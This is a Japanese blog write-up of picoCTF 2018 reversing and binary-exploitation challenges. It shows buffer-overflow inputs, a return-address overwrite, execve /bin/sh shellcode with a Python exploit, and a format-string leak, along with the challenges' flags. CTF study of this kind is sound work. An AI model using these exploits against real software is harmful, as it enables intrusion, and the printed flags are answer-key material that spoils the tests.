picoCTF 2018 Write-up [Reversing] + [Binary Exploitation]

まえがき

前回の続きです.
今回はReversingBinary ExploitationのWrite-upを書こうと思います.

satto.hatenadiary.com

Reversing

Reversing Warmup 1 - Points: 50

Throughout your journey you will have to run many programs. Can you navigate to /problems/reversing-warmup-1_2_a237211c4be8902c67102f827027e633 on the shell server and run this program to retreive the flag?

アプローチ:ELFファイルの実行

> file run
run: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3f4cbb89ad8989bad12dfa913e40072f3d21c96d, not stripped
> ./run
picoCTF{welc0m3_t0_r3VeRs1nG}

picoCTF{welc0m3_t0_r3VeRs1nG}

Reversing Warmup 2 - Points: 50

Can you decode the following string dGg0dF93NHNfczFtcEwz from base64 format to ASCII

アプローチ:base64

> echo dGg0dF93NHNfczFtcEwz | base64 --d
th4t_w4s_s1mpL3

picoCTF{th4t_w4s_s1mpL3}

assembly-0 - Points: 150

What does asm0(0xb6,0xc6) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-0_0_5a220faedfaf4fbf26e6771960d4a359.

アプローチ:アセンブラを読む

.intel_syntax noprefix
.bits 32

.global asm0

asm0:
    push    ebp
    mov ebp,esp
    mov eax,DWORD PTR [ebp+0x8]
    mov ebx,DWORD PTR [ebp+0xc]
    mov eax,ebx
    mov esp,ebp
    pop ebp
    ret

アセンブラを読むとeaxebxをコピーしていること分かる このときasm0(0xb6,0xc6)なのでeax=0xb6,ebx=0xc6

picoCTF{0xc6,0xc6}

assembly-1 - Points: 200

What does asm1(0x76) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-1_0_cfb59ef3b257335ee403035a6e42c2ed.

アプローチ:アセンブラを読む

.intel_syntax noprefix
.bits 32

.global asm1

asm1:
    push    ebp
    mov ebp,esp
    cmp DWORD PTR [ebp+0x8],0x98
    jg  part_a
    cmp DWORD PTR [ebp+0x8],0x8
    jne part_b
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
    jmp part_d
part_a:
    cmp DWORD PTR [ebp+0x8],0x16
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_b:
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
    cmp DWORD PTR [ebp+0x8],0xbc
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_c:
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
part_d:
    pop ebp
    ret

picoCTF{0x73,0x73}

Binary Exploitation

buffer overflow 0 - Points: 150

Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source.

#include <stdio.h>                                                                                              
#include <stdlib.h>                                                                                             
#include <string.h>                                                                                             
#include <signal.h>                                                                                             
                                                                                                                
#define FLAGSIZE_MAX 64                                                                                         
                                                                                                                
char flag[FLAGSIZE_MAX];                                                                                        
                                                                                                                
void sigsegv_handler(int sig) {                                                                                 
  fprintf(stderr, "%s\n", flag);                                                                                
  fflush(stderr);                                                                                               
  exit(1);                                                                                                      
}                                                                                                               
                                                                                                                
void vuln(char *input){                                                                                         
  char buf[16];                                                                                                 
  strcpy(buf, input);                                                                                           
}                                                                                                               
                                                                                                                
int main(int argc, char **argv){                                                                                

  FILE *f = fopen("flag.txt","r");                                                                              
  if (f == NULL) {                                                                                              
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on t
he shell server.\n");                                                                                           
    exit(0);                                                                                                    
  }                                                                                                             
  fgets(flag,FLAGSIZE_MAX,f);                                                                                   
  signal(SIGSEGV, sigsegv_handler);                                                                             

  gid_t gid = getegid();                                                                                        
  setresgid(gid, gid, gid);                                                                                     

  if (argc > 1) {                                                                                               
    vuln(argv[1]);                                                                                              
    printf("Thanks! Received: %s", argv[1]);                                                                    
  }                                                                                                             
  else                                                                                                          
    printf("This program takes 1 argument.\n");                                                                 
  return 0;                                                                                                     
}                                

アプローチ:BOF

コードを読むとvuln()strcpy(buf, input)が危ないことが分かるのでbufBOFします.

satto1237@pico-2018-shell-1:/problems/buffer-overflow-0_1_316c391426b9319f ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_3598a894}

buffer overflow 1 - Points: 200

Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78 on the shell server. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

アプローチ:gdb+ltrace

コードを読むとvuln()のリターンアドレスをwin()にすればいいっぽいのでgdbを使ってアドレスを調べます.

(gdb) call vuln
$1 = {<text variable, no debug info>} 0x804862f <vuln>
(gdb) call win
$2 = {<text variable, no debug info>} 0x80485cb <win>

リターンアドレスを0x80485cbに書き換えるとflagがとれそうということが分かります.

ltraceを使いながらリターンアドレスの位置を計算します.

> printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL" | ltrace -i ./vuln
[0x80484f1] __libc_start_main(0x804865d, 1, 0xffca67d4, 0x80486d0 <unfinished ...>
[0x804867f] setvbuf(0xf7f94d80, 0, 2, 0)                                = 0
[0x8048687] getegid()                                                   = 1000
[0x804869b] setresgid(1000, 1000, 1000, 0x8048687)                      = 0
[0x80486ab] puts("Please enter your string: "Please enter your string:
)                          = 27
[0x8048641] gets(0xffca66e0, 0, 0xf7f94d80, 0xfbad2887)                 = 0xffca66e0
[0x8048657] printf("Okay, time to return... Fingers "..., 0x4c4c4c4cOkay, time to return... Fingers Crossed... Jumping to 0x4c4c4c4c
)   = 65
[0x4c4c4c4c] --- SIGSEGV (Segmentation fault) ---
[0xffffffffffffffff] +++ killed by SIGSEGV +++

0x4c4c4c4cになってることからLをアドレスに置き換えるといい感じになりそうということが分かります.

satto1237@pico-2018-shell-1:/problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78$ printf "AAAABBBBCCCC
DDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK\xcb\x85\x04\x08" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy65489706}Segmentation fault

picoCTF{addr3ss3s_ar3_3asy65489706}

leak-me - Points: 200

Can you authenticate to this service and get the flag? Connect with nc 2018shell1.picoctf.com 1271. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  // real pw:
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];

  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));

  printf("What is your name?\n");

  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password.");

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file);

  printf("Hello ");
  puts(name);

  fgets(password_input, sizeof(password_input), stdin);
  password_input[sizeof(password_input)] = '\x00';

  if (!strcmp(password_input, password)) {
    flag();
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

アプローチ:nameでBOF

nameBOFするとパスワードが降ってきます.
a_reAllY_s3cuRe_p4s$word_f78570

> nc 2018shell1.picoctf.com 1271
What is your name?
satto1237
Hello satto1237,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_f78570
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

shellcode - Points: 200

This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_3_09e0c5074980877d900d65c545d1e127 on the shell server. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");

  ((void (*)())buf)();

  return 0;
}

アプローチ:BOFでshellを起動

getsを使用しているのでBOFは簡単にできそうということがわかる. 問題文がshellcodeなのでBOFshellを起動すればflagをとれそう.

ももテクを参考にexploitコードを書きました.

inaz2.hatenablog.com

exploitコード

import sys

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

bufsize = 148
buf = shellcode
buf += 'A' * (bufsize - len(shellcode))
print(buf)
satto1237@pico-2018-shell-1:/problems/shellcode_3_09e0c5074980877d900d65c545d1e127$ (echo -e  "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; cat) | ./vuln
Enter a string!
1Rh//shh/binRSB
               ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks! Executing now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{shellc0de_w00h00_7f5a7309}

picoCTF{shellc0de_w00h00_7f5a7309}

echooo - Points: 300

This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 46960. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  char flag[64];
  char *flag_ptr = flag;
  
  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  memset(buf, 0, sizeof(flag));
  memset(buf, 0, sizeof(buf));

  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");
  
  FILE *file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  
  fgets(flag, sizeof(flag), file);
  
  while(1) {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }  
  return 0;
}

アプローチ:FORMAT STRING ATTACK ~書式指定文字列攻撃~

今回もももテクを参考にしました.

inaz2.hatenablog.com

> nc 2018shell1.picoctf.com 46960
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
AAAA00000040.f772d5a0.08048647.f7764a74.00000001.f773c490.ffcbd2a4.ffcbd1ac.00000493.092f4008.41414141.78383025> .00000040.f772d5a0.08048647
>

bufのアドレスの位置が分かったのでその位置よりも前に出現するアドレスのメモリの内容を見ていくと

echo -e "%8\$s" | nc 2018shell1.picoctf.com 46960

picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d}

まとめ

  • Reversingわからん
  • Binary Exploitationわからん
  • 何もわからん
  • 今回のwrite-upだけ2つのジャンルを一緒に書きました(解けた問題数が少なかったので)
  • 低レイヤ強くなりてぇ…